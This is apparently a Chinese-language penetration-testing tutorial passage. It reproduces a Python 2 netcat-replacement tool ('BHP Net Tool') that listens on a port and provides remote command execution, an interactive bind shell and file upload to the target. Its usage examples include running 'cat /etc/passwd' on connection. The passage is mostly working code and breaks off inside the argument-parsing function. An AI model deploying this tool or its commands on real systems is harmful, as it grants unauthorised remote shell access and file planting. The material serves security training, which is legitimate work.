Python渗透测试

python环境：python+KaliLinux虚拟机+WingIDE

python网络编程(TCP客户端/UDP客户端-TCP客户端)-netcat(TCP/UDP连接)-TCP代理-Paramiko使用SSH

### 取代netcat ###

#!/usr/bin/python

#-*- coding:utf8 -*-

import sys, socket, getopt, threading, subprocess

# 定义一些全局变量

listen = False

command = False

upload = False

execute = ""

target = ""

upload_destination = ""

port = 0

def run_command(command):

    # 删除字符串末尾的空格

    command = command.rstrip()

    # 运行命令并将输出放回

    try:

        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)

    except:

        output = "Failed to execute command.\r\n"

    # 将输出发送

    return output

def client_handler(client_socket):

    global upload

    global execute

    global command

    # 检查上传文件

    if len(upload_destination):

        # 读取所有的字符并写下目标

        file_buffer = ""

        # 持续读取数据直到没有符合的数据

        while True:

            data = client_socket.recv(1024)

            if not data:

                break

            else:

                file_buffer += data

        try:

            file_descriptor = open(upload_destination, "wb")

            file_descriptor.write(file_buffer)

            file_descriptor.close()

            client_socket.send("Successfully saved file to %s\r\n" % upload_destination)

        except:

            client_socket.send("Failed to save file to %s\r\n" % upload_destination)

    # 检查命令执行

    if len(execute):

        # 运行命令

        output = run_command(execute)

        client_socket.send(output)

    # 如果需要一个命令行shell,那么我们进入另一个循环

    if command:

        while True:

            # 跳出一个窗口

            client_socket.send("<BHP:#>")

            cmd_buffer = ""

            while "\n" not in cmd_buffer:

                cmd_buffer += client_socket.recv(1024)

            # 返回命令输出

            response = run_command(cmd_buffer)

            # 返回响应数据

            client_socket.send(response)

def server_loop():

    global target

    # 如果没有定义目标,那我们监听所有接口

    if not len(target):

        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    server.bind((target, port))

    server.listen(5)

    while True:

        client_socket, addr = server.accept()

        # 分拆一个线程处理新的客户端

        client_thread = threading.Thread(target=client_handler, args=(client_socket,))

        client_thread.start()

def client_sender(buffer):

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:

        # 连接到目标主机

        client.connect((target, port))

        if len(buffer):

            client.send(buffer)

        while True:

            # 现在等待数据回传

            recv_len = 1

            response = ""

            while recv_len:

                data = client.recv(4096)

                recv_len = len(data)

                response += data

                if recv_len < 4096:

                    break

            print  response

            # 等待更多的输入

            buffer = raw_input("")

            buffer += "\n"

            # 发送出去

            client.send(buffer)

    except:

        print "[*] Exception! Exiting."

    #关闭连接

    client.close()

def usage():

    print "BHP Net Tool"

    print

    print "Usage: bhpnet.py -t target_host - p port"

    print "-l --listen              - listen on [host]:[port] for incoming connections"

    print "-e --execute=file_to_run -execute the given file upon receiving a connection"

    print "-c --command             - initialize a commandshell"

    print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"

    print

    print

    print "Examples:"

    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"

    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"

    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""

    print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"

    sys.exit(0)

def main():

    global listen

    global port

    global execute

    global command

    global upload_destination

    global target

    if not  len(sys.argv[1:]):

        usage()

    # 读取命令行选项,若没有该选项则显示用法

    try:

        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"